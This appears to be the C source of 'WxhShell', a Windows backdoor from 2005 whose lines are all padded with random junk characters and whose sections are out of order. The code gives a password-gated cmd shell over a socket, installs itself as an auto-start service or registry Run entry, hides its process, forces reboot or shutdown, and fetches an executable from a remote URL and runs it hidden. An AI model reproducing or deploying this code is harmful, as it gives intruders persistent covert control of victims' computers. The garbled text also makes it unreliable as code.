    if(Boot(SHUTDOWN)) `SO|zz|'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n(~\l#o@  
    else { G ;?qWB,  
    closesocket(wsh); '2hbJk  
    ExitThread(0); N__H*yP  
    } 4^6.~6a  
    break; s?WCnT  
    } Hy{ Q#fq  
  // 获取shell ^s\3/z>b4!  
  case 's': { y( r1I[W'  
    CmdShell(wsh); gPS&^EdxA  
    closesocket(wsh); 59(U`X  
    ExitThread(0); 9ykM3  
    break; A`O<6   
  } -6Tk<W  
  // 退出 Ju@Q6J5  
  case 'x': { 89o)M5KQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x4Rk<Th"o  
    CloseIt(wsh); "a1O01n  
    break; fYebB7Pv  
    } {TXOQ>gY  
  // 离开 T0j2a &Pv  
  case 'q': { 3L-^<'~-k;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B68H&h]D#'  
    closesocket(wsh); 4{9d#[KW  
    WSACleanup(); >5~7u\#9  
    exit(1); ]T O/kl/  
    break; `=tyN@VC  
        } "$p#&W69"J  
  } H;<!TX.zD  
  } HU B|bKy  
(.K\Jg'Y6j  
  // 提示信息 \zXlN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x:K?\<  
} >L((2wfiN  
  } cu#e38M&eE  
bC@k>yC-  
  return; z?8~[h{i%  
} x_@i(oQ:_  
mXjgs8 s  
// shell模块句柄 ?4PQQd  
int CmdShell(SOCKET sock) {I%y;Aab8  
{ jigs6#  
STARTUPINFO si; Iyk6=&?j  
ZeroMemory(&si,sizeof(si)); LR)& [{Kk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ']51jabm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #;9H@:N  
PROCESS_INFORMATION ProcessInfo; |oKu=/[K  
char cmdline[]="cmd"; t7#lsd`_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .I?@o8'x  
  return 0; c $;\i  
} TmEY W<  
y93k_iq$S  
// 自身启动模式 k/&]KYwu  
int StartFromService(void) P1 +"v*  
{ _rQUE ^9  
typedef struct #,f{Ok+  
{ XL< )v_  
  DWORD ExitStatus; H;_yRUY9  
  DWORD PebBaseAddress; -@%%*YI>  
  DWORD AffinityMask; &R$Q\ ,  
  DWORD BasePriority; kv|,b  
  ULONG UniqueProcessId; _ P ,@  
  ULONG InheritedFromUniqueProcessId; ESQ!@G/n  
}   PROCESS_BASIC_INFORMATION; O?K./So&  
Wz=OSH7"f  
PROCNTQSIP NtQueryInformationProcess; Q/_#k/R  
wuK=6RL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~bU7QLr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pD`/_-=^h  
vX1uR]A[  
  HANDLE             hProcess; Y'm=etE  
  PROCESS_BASIC_INFORMATION pbi; H~+xB1  
* UcjQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eO5ktEoJ  
  if(NULL == hInst ) return 0; \tt'm\_  
tFU;SBt8Ki  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M$#sc`4*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =DgC C|p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &W_th\%  
4be> `d5j  
  if (!NtQueryInformationProcess) return 0; 4!%]fg}Um  
NXoK@Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n`5WXpz4;  
  if(!hProcess) return 0; 4KIWb~0Y  
Cyk s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'Tf9z+0;  
bAhZ7;T~  
  CloseHandle(hProcess); 4 \Di,PPu  
?9?4p@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e9@(/+  
if(hProcess==NULL) return 0; R8sck)k'}  
^" 6f\  
HMODULE hMod; a+(j ?_FyI  
char procName[255]; k&Jo"[i&WO  
unsigned long cbNeeded; )LFD6\z1pl  
??xlA-E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?vbDB4  
[!+D <Y  
  CloseHandle(hProcess); !'c| N9  
uCUu!Vfeg  
if(strstr(procName,"services")) return 1; // 以服务启动 c8Pb  
Lt<oi8'N  
  return 0; // 注册表启动 -{x(`9H;  
} |'w^n  
7>je6*(K  
// 主模块 #tz8{o?ebN  
int StartWxhshell(LPSTR lpCmdLine) i&F~=Q`  
{ Qilj/x68  
  SOCKET wsl; zeOb Aw1O  
BOOL val=TRUE; (&Q)EBdm  
  int port=0; H1UL.g%d=  
  struct sockaddr_in door; Z`xyb>$  
gduxA/aT  
  if(wscfg.ws_autoins) Install(); |HgfV@Han  
oS!/|#m n  
port=atoi(lpCmdLine); S:97B\ u`  
&-F"+v,+  
if(port<=0) port=wscfg.ws_port; *,jqE9:O  
5Bj77?Z  
  WSADATA data; MSB%{7'o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x-~-nn\O  
pI^=B-7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nZW4}~0j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >\\5"S f  
  door.sin_family = AF_INET; Vu|dV\N0*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cyc>_$/;1  
  door.sin_port = htons(port); sFx$>:$  
%Rn:G K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NKh,z& _5-  
closesocket(wsl); cju@W]!  
return 1; "'aqb~j^  
} WB;J1TpM7  
,?w!5N;iRO  
  if(listen(wsl,2) == INVALID_SOCKET) { ![Hhxu  
closesocket(wsl); 7K !GK  
return 1; lm &^tjx  
} +3?`M<L0  
  Wxhshell(wsl); G-8n  
  WSACleanup(); rgT%XhUS6f  
n2;(1qr  
return 0; PdjCv+R6?  
[;F{mN  
} VD4S_qx  
yA0Y 14\*  
// 以NT服务方式启动 E 8^sy*f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6=BZ~ed  
{ P=pY8X:  
DWORD   status = 0; 'Z$jBL  
  DWORD   specificError = 0xfffffff; Zih5/I  
g5<ZS3tQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~FNPD'`t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]TfeBX6ST  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;>/ipnx  
  serviceStatus.dwWin32ExitCode     = 0; /MqP[*L  
  serviceStatus.dwServiceSpecificExitCode = 0; w*2^/zh  
  serviceStatus.dwCheckPoint       = 0; +DxifXtB  
  serviceStatus.dwWaitHint       = 0; *vXDuhQ  
}{#7Z8   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T:'+6  
  if (hServiceStatusHandle==0) return; * S{\#s  
{Ot[WF  
status = GetLastError(); KMe.i'  
  if (status!=NO_ERROR) , Z4p0M  
{ !r2}59 J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =_pmy>_z  
    serviceStatus.dwCheckPoint       = 0; Lqq*Nr  
    serviceStatus.dwWaitHint       = 0; B,:23[v  
    serviceStatus.dwWin32ExitCode     = status; -MUQ \pZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ol_/uy1r[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l]/> `62  
    return; 7j95"mI  
  } : (RL8  
<EOg,"F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D~7%};D[  
  serviceStatus.dwCheckPoint       = 0; y#nSk% "t"  
  serviceStatus.dwWaitHint       = 0; w0\4Wa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L&rO  6  
} - Ra\^uz  
'bG1U`v=3  
// 处理NT服务事件,比如:启动、停止 (T4k~T`3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UT % #K%  
{ I}1fEw>8  
switch(fdwControl) ?Ip$;s  
{ 0rGj|@+;  
case SERVICE_CONTROL_STOP: yCZ2^P!a  
  serviceStatus.dwWin32ExitCode = 0; ]~ >@%v&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]&/0  
  serviceStatus.dwCheckPoint   = 0; CARq^xI-  
  serviceStatus.dwWaitHint     = 0; i{4'cdr?  
  { '%3u%;"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?F!W#   
  } XZ!cW=bqS  
  return; 7-(>"75Q|  
case SERVICE_CONTROL_PAUSE: e|35|I '  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +6wx58.B&  
  break; o<~-k,{5P  
case SERVICE_CONTROL_CONTINUE: YcEtgpz@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }isCv b  
  break; 8x` Kl(  
case SERVICE_CONTROL_INTERROGATE: ,d3Q+9/  
  break; \;'_|bu3.  
}; ;}$Z 80  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k`{RXx  
} .59KE]u  
K%kXS  
// 标准应用程序主函数 KC#kss  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J,.j_ii`!  
{ WFQ*s4 R(  
q.U*X5  
// 获取操作系统版本 !4i,%Z& 6  
OsIsNt=GetOsVer(); b*@&c9I;q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0@JilGk1u  
q+r ` e  
  // 从命令行安装 (ej:_w1  
  if(strpbrk(lpCmdLine,"iI")) Install(); M ,Zm|3L  
5~v(AB(x  
  // 下载执行文件 .ou!g&xu  
if(wscfg.ws_downexe) { 8  /5sv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #_?426Wfs  
  WinExec(wscfg.ws_filenam,SW_HIDE); EKV+?jj$  
} ^cfkP(Y3kx  
z (c@(UD-_  
if(!OsIsNt) { tCd{G c  
// 如果时win9x,隐藏进程并且设置为注册表启动 5@GD} oAn6  
HideProc(); 3w[<cq.!  
StartWxhshell(lpCmdLine); wpAw/-/  
} LuQ"E4;nY%  
else )er?*^9Z  
  if(StartFromService()) hP,b-R9\  
  // 以服务方式启动 jsK|D{m?  
  StartServiceCtrlDispatcher(DispatchTable); c,+L +  
else Kx(76_XD  
  // 普通方式启动 tn(?nQN3  
  StartWxhshell(lpCmdLine); D|u^8\'.  
'-$))AdD  
return 0; wUh3Hd'  
} -lJx%9>  
y|&.v <  
BnKP7e  
]}UeuF\  
=========================================== u=_bM2;~Z  
5bu[}mJ  
.5jnKU8NF  
>X-ed  
s BeP;ox  
`@VM<av  
" )x_W&*oZ  
HPu/. oE  
#include <stdio.h> krEH`f  
#include <string.h> L:|X/c9r[  
#include <windows.h> EqNz L*E  
#include <winsock2.h> ]Ct`4pA  
#include <winsvc.h> = ]dz1~/  
#include <urlmon.h> Q#yu(  
}1X11+/W  
#pragma comment (lib, "Ws2_32.lib") Wto@u4  
#pragma comment (lib, "urlmon.lib") `'A(`. CL  
CF4Oh-f  
#define MAX_USER   100 // 最大客户端连接数 lp37irI:  
#define BUF_SOCK   200 // sock buffer JLFFh!J  
#define KEY_BUFF   255 // 输入 buffer J};u25:}  
A{DIp+  
#define REBOOT     0   // 重启 WI*^+E&=*  
#define SHUTDOWN   1   // 关机 c%xED%X9  
F]URf&U  
#define DEF_PORT   5000 // 监听端口 t  z +  
J_y<0zF**  
#define REG_LEN     16   // 注册表键长度 (`q6G d  
#define SVC_LEN     80   // NT服务名长度 uMiD*6,$<  
$ uz1  
// 从dll定义API +l[Z2mW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i5L+8kx4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,T,B0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >q} !>k$B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r?Zy-yQ  
C{d 8~6  
// wxhshell配置信息 `g4Ekp'Rp[  
struct WSCFG { pQ[o3p!&9  
  int ws_port;         // 监听端口 !_^ {udB}  
  char ws_passstr[REG_LEN]; // 口令 v;N1'  
  int ws_autoins;       // 安装标记, 1=yes 0=no @&i#S}%/  
  char ws_regname[REG_LEN]; // 注册表键名 +7U  A%q  
  char ws_svcname[REG_LEN]; // 服务名 M[`w{A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [t "_}t=w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lzr>WbM{{p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a6 #{2q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p ?Ij-uo"o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WcZo+r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xj})?{FP  
X1 0"G~0  
}; )$lSG}WD  
@Le ^-v4  
// default Wxhshell configuration n!CP_  
struct WSCFG wscfg={DEF_PORT, : e0R7sj  
    "xuhuanlingzhe", G]m[ S-  
    1, *1ID`o  
    "Wxhshell", N$ qNe'b  
    "Wxhshell", T ?<'=  
            "WxhShell Service", w>9H"Q[  
    "Wrsky Windows CmdShell Service", Hd=D#u=A4{  
    "Please Input Your Password: ", @2%VU#!m  
  1, :Z*02JwK  
  "http://www.wrsky.com/wxhshell.exe", mhJOR'2  
  "Wxhshell.exe" k?|F0e_  
    }; n8;G,[GM80  
oC@"^>4  
// 消息定义模块 yv8dfl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "x=@ ,*Bk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; npG+# z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]'1N_m]?  
char *msg_ws_ext="\n\rExit."; 69<rsp(p  
char *msg_ws_end="\n\rQuit."; w|n?m  
char *msg_ws_boot="\n\rReboot..."; _>_y@-b  
char *msg_ws_poff="\n\rShutdown..."; >r4Y\"/j  
char *msg_ws_down="\n\rSave to "; KOAz-h@6   
'wT./&Z  
char *msg_ws_err="\n\rErr!"; B 4*X0x  
char *msg_ws_ok="\n\rOK!"; 63y':g  
hNR >Hy\  
char ExeFile[MAX_PATH]; yoA*\V  
int nUser = 0; -; /@;W  
HANDLE handles[MAX_USER]; A Eyr_!G,  
int OsIsNt; 33v%e  
F|n$0vQ*  
SERVICE_STATUS       serviceStatus; 9bzYADLI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YiI:uG!|D  
v&CO#vK5.  
// 函数声明 b3 %&   
int Install(void); Ph! KL\  
int Uninstall(void); jQK2<-HZ3  
int DownloadFile(char *sURL, SOCKET wsh); 0t:|l@zB  
int Boot(int flag); v^lm8/}NO  
void HideProc(void); Y(G*Yi?;  
int GetOsVer(void); O7<V@GL+  
int Wxhshell(SOCKET wsl); 5f^`4 pT  
void TalkWithClient(void *cs); fB @pwmu  
int CmdShell(SOCKET sock); 1!v >I"]  
int StartFromService(void);  ]5)&36  
int StartWxhshell(LPSTR lpCmdLine); "|l oSf@  
).O2_<&?F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wJ]$'c3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %.atWX`b  
D !D%.  
// 数据结构和表定义 i$LV44  
SERVICE_TABLE_ENTRY DispatchTable[] = UNZVu~WnF  
{ P". qL 5  
{wscfg.ws_svcname, NTServiceMain}, $nD k mKl  
{NULL, NULL} dPdHY&#`  
}; I!0$% ]F  
MS*Mem,  
// 自我安装 Q&U= jX  
int Install(void) n.H`1@  
{ Kjca>/id  
  char svExeFile[MAX_PATH]; in;+d~?  
  HKEY key; `v/tf|v 6  
  strcpy(svExeFile,ExeFile); eQ)ioY  
[9W&1zY  
// 如果是win9x系统,修改注册表设为自启动 "*>QxA%c4  
if(!OsIsNt) { GF.g'wYc)Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;xkf ?|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <&m  
  RegCloseKey(key); 3Ns:O2|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /*R' xBr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G3?a~n^b  
  RegCloseKey(key); s)7`r6w  
  return 0; )dN,b( w9  
    } 8KdcLN@  
  } K?9H.#(  
} $m%/veD k  
else { AdN= y8T  
@ :   
// 如果是NT以上系统,安装为系统服务 C` 1\$U~%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BKjPmrZ|  
if (schSCManager!=0) &B5 Rzz-'  
{ CYic_rF$  
  SC_HANDLE schService = CreateService \?mU$,v oI  
  ( U-^S<H  
  schSCManager, P@T $6%~  
  wscfg.ws_svcname, /7HIL?r  
  wscfg.ws_svcdisp, fO}1(%}d  
  SERVICE_ALL_ACCESS, W,oV$ s^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +iDz+3v(  
  SERVICE_AUTO_START, 8#JyK+NU  
  SERVICE_ERROR_NORMAL, `9"jHw`D  
  svExeFile, M+&eh*:z:  
  NULL, Mud\Q["  
  NULL, '`A67bdq)  
  NULL, Fb4S /_ V  
  NULL, E":":AC#  
  NULL x:wq"X  
  ); 1XKIK(l  
  if (schService!=0) Z.Y8z#[xg  
  { Zo6a_`)d  
  CloseServiceHandle(schService); ^J=txsx  
  CloseServiceHandle(schSCManager); sAAIyPJts  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ewlc ^`  
  strcat(svExeFile,wscfg.ws_svcname); Q^5 t]HKn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Hn2Q1lF-ip  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _xwfz]lb+  
  RegCloseKey(key); <qj@waKw4  
  return 0; KqIe8bi^G  
    } gRd1(S  
  } 7^}Z%c  
  CloseServiceHandle(schSCManager); ea;c\84_N  
} a{YVz\?d}  
} R$'nWzX#  
sBG(CpQ  
return 1; gYIYA"xN`  
} oM7-1O  
o+23?A~+  
// 自我卸载 YO4ppL~xe  
int Uninstall(void) f2K3*}P  
{ $fpDABf  
  HKEY key; '`VO@a  
;iI2K/ 3  
if(!OsIsNt) { /|^^v DL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jx[e{o)o  
  RegDeleteValue(key,wscfg.ws_regname); )uJ`E8>-  
  RegCloseKey(key); WQ`P^5e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z"&ODVP  
  RegDeleteValue(key,wscfg.ws_regname); wx7>0[zE  
  RegCloseKey(key); KD<`-b)7<  
  return 0; 8pKPbi;(2  
  } !LSWg:Ev+  
} #z5?Y2t7~^  
} $f-pLF+x  
else { N9hWx()v  
sSb&r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g}`CdVQ2M<  
if (schSCManager!=0) R1%T>2"~&  
{ !f[N&se  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3JO:n6  
  if (schService!=0) B ~bU7.Cd  
  { 3gXUfv2ID  
  if(DeleteService(schService)!=0) { #3jZ7RqzQ  
  CloseServiceHandle(schService); C 5!6k1TcE  
  CloseServiceHandle(schSCManager); H zK=UcD  
  return 0; [-}%B0S**  
  } e"09b<69  
  CloseServiceHandle(schService); ol>=tk 8}  
  } 6EGEwx  
  CloseServiceHandle(schSCManager); 3Jit2W4  
} Xq$0% WjG  
} c=mFYsSv  
oO,p.X%  
return 1; q"vT]=Y}:  
} h v+i{Z9!]  
438> )=  
// 从指定url下载文件 _e^V\O>  
int DownloadFile(char *sURL, SOCKET wsh) C'"6@-~  
{ ;L{y3CWT  
  HRESULT hr; $9b6,Y_-  
char seps[]= "/"; Yhdt8[ 2  
char *token; :njUaMFoMA  
char *file; %[;KO&Ga  
char myURL[MAX_PATH]; T3 /LUm  
char myFILE[MAX_PATH]; G4]``  
?["ZEa  
strcpy(myURL,sURL); Tdp$laPO'  
  token=strtok(myURL,seps); Q 7?4GxMj  
  while(token!=NULL) W# /Ol59  
  { !T1i_  
    file=token; Lg53 Ms%  
  token=strtok(NULL,seps); <0MUn#7'  
  } Kn]WXc|("  
p#I1l2nE  
GetCurrentDirectory(MAX_PATH,myFILE); X> KsbOZ  
strcat(myFILE, "\\"); cE#Y,-f  
strcat(myFILE, file); ucO]&'hu:  
  send(wsh,myFILE,strlen(myFILE),0); Kqjeqr@)  
send(wsh,"...",3,0); b?^<';,5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "@Fxfd+Ot  
  if(hr==S_OK) vdM\scO:  
return 0; N{@ eV][Q  
else DA\O,^49h  
return 1; 2^+"GCo  
>l[N]CQ  
} [! o -F;  
kE|#mI[>  
// 系统电源模块 'f!Jh<i  
int Boot(int flag) J)+eEmrU  
{ +d15a%^`  
  HANDLE hToken; ~-zC8._w3r  
  TOKEN_PRIVILEGES tkp; b s*Z{R  
43fA;Uc{Y`  
  if(OsIsNt) { CbQ%[x9|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @5ybBh]   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T9.gs}B0  
    tkp.PrivilegeCount = 1; n*uZ=M_/Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Melc -[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); suSIz 7:  
if(flag==REBOOT) { !Hg#c!eOg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j_g9RmZT  
  return 0; F3'G9Xf8Q=  
} (x!bZ,fu  
else { P$yJA7]j;%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e4P.G4  
  return 0; gA*zFhGVS7  
} kDQXP p  
  } 2y,wN"qH*  
  else { AEJm/8,T  
if(flag==REBOOT) { cPYQ<Y=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lUz@Em  
  return 0; bvKi0-  
} YWdvL3Bgk,  
else { _X/`4 G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CSs6Vm!=  
  return 0; :4TcCWG  
} t~M_NEPxV  
} $P~a   
NI)nf;C  
return 1; %mJ)pMV  
} T@XiG:b7  
D%btlw ?{  
// win9x进程隐藏模块 wOP}SMn  
void HideProc(void) l@ K<p  
{ x@)u:0  
HmKE>C/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ySZ)yT  
  if ( hKernel != NULL ) R(fR1  
  { vY koh/(/u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Dr<Bd;)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N3)EG6vE*  
    FreeLibrary(hKernel); .nJGxz+X"  
  } <Th.}=  
j7zQ&ANF  
return; D1a4+AyI  
} vbU{Et\ ^  
!k^\`jMzw  
// 获取操作系统版本 'UKB pm/  
int GetOsVer(void) Nt?B(.G  
{ b7/4~_s  
  OSVERSIONINFO winfo; ZhU2z*qN#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }^t?v*kcA  
  GetVersionEx(&winfo); 5q[@N  J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N 2\,6<  
  return 1; $hapSrS  
  else (H7q[UG|  
  return 0; Vow+,,oh  
} HV?@MBM  
h";sQ'us  
// 客户端句柄模块 5Z'pMkn3  
int Wxhshell(SOCKET wsl) tee%E=P  
{ uU0'y4=  
  SOCKET wsh; &H6Fkza;4  
  struct sockaddr_in client; QQJ cvaQ  
  DWORD myID; FrS>.!OFn  
S_zE+f+ 2  
  while(nUser<MAX_USER) v?rN;KY#pK  
{ P=.W.oS  
  int nSize=sizeof(client); A'T! og|5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z3Y%VHB_F(  
  if(wsh==INVALID_SOCKET) return 1; P_}$|zj7  
FK>r c3 q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mb/Y  
if(handles[nUser]==0) tfO _b5g  
  closesocket(wsh); 9ZwhC s O  
else Ru/3>n  
  nUser++; [&$z[/4:8c  
  } /C"E*a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a"EXR-+8  
MWB?V?qPSC  
  return 0; {v(3[ 7  
} % rkUy?=vu  
gyIPG2d  
// 关闭 socket b.F2m(e2  
void CloseIt(SOCKET wsh) aE+E'iL  
{ ]M.ufbguq  
closesocket(wsh); '(?@R5a  
nUser--; ] GJskBm  
ExitThread(0); MEE]6nU  
} xZhh%~  
"dIoIW  
// 客户端请求句柄 a,X3=+_K  
void TalkWithClient(void *cs) ),86Y:^4  
{ Mw< 1  
CR<*<=rI  
  SOCKET wsh=(SOCKET)cs; 5}f$O  
  char pwd[SVC_LEN]; 1K!7FiqY  
  char cmd[KEY_BUFF]; (5SI! 1N  
char chr[1]; % tpjy,  
int i,j;  (1ebE  
=6>mlI>i  
  while (nUser < MAX_USER) { *ood3M[M^  
vg<_U&N=-r  
if(wscfg.ws_passstr) { qzq>C"z\Y$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  u >x2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |b|p0Z%7{  
  //ZeroMemory(pwd,KEY_BUFF); Q-AN~k8+)[  
      i=0; 7kO 1d{u6b  
  while(i<SVC_LEN) { K-K+%U  
%k"-rmW  
  // 设置超时 6_XTeu  
  fd_set FdRead; QJxcH$  
  struct timeval TimeOut; ~*&_zPTN  
  FD_ZERO(&FdRead); :wMZ&xERDZ  
  FD_SET(wsh,&FdRead); Upf1*$p  
  TimeOut.tv_sec=8; 3N?uY2  
  TimeOut.tv_usec=0; #+XKfumLk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f"/NY6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w$1.h'2  
8YCtU9D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p!=/a)4X  
  pwd=chr[0]; 5ES$qYN  
  if(chr[0]==0xd || chr[0]==0xa) { N52N ^X>  
  pwd=0; FJ/kumq  
  break; % 30&6"  
  } gZ 9<H q  
  i++; CpA=DnZ  
    } ~s+\Y/@A  
).LJY<A  
  // 如果是非法用户,关闭 socket h.PY$W<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dP )YPy_`  
} [mX\Q`)QP  
h|wy vYKZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Uj_%U2S$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =VDN9-/.  
pDW .Pav  
while(1) { $H?v  
TJ#<wIiX  
  ZeroMemory(cmd,KEY_BUFF); e<q;` H  
%ePInpb  
      // 自动支持客户端 telnet标准   F&Q:1`y  
  j=0; R6!t2gdKe@  
  while(j<KEY_BUFF) { &}6=V+J;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;vuok]@  
  cmd[j]=chr[0]; I6\ l 6o  
  if(chr[0]==0xa || chr[0]==0xd) { "zfy_h  
  cmd[j]=0; l]GLkE  
  break; |ML|P\1&V  
  } ktnsq&qNL  
  j++; 1_ %3cN.  
    } Rzw}W7zg[  
~|riFp=J  
  // 下载文件 0&zp9(G5  
  if(strstr(cmd,"http://")) { ZjbMk 3Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h%Bp%Y9  
  if(DownloadFile(cmd,wsh)) fi`*r\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x]w%?BlS  
  else G$WMW@fy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VP5_Y1e7  
  } Ea 0 j}  
  else { g\GuH?|   
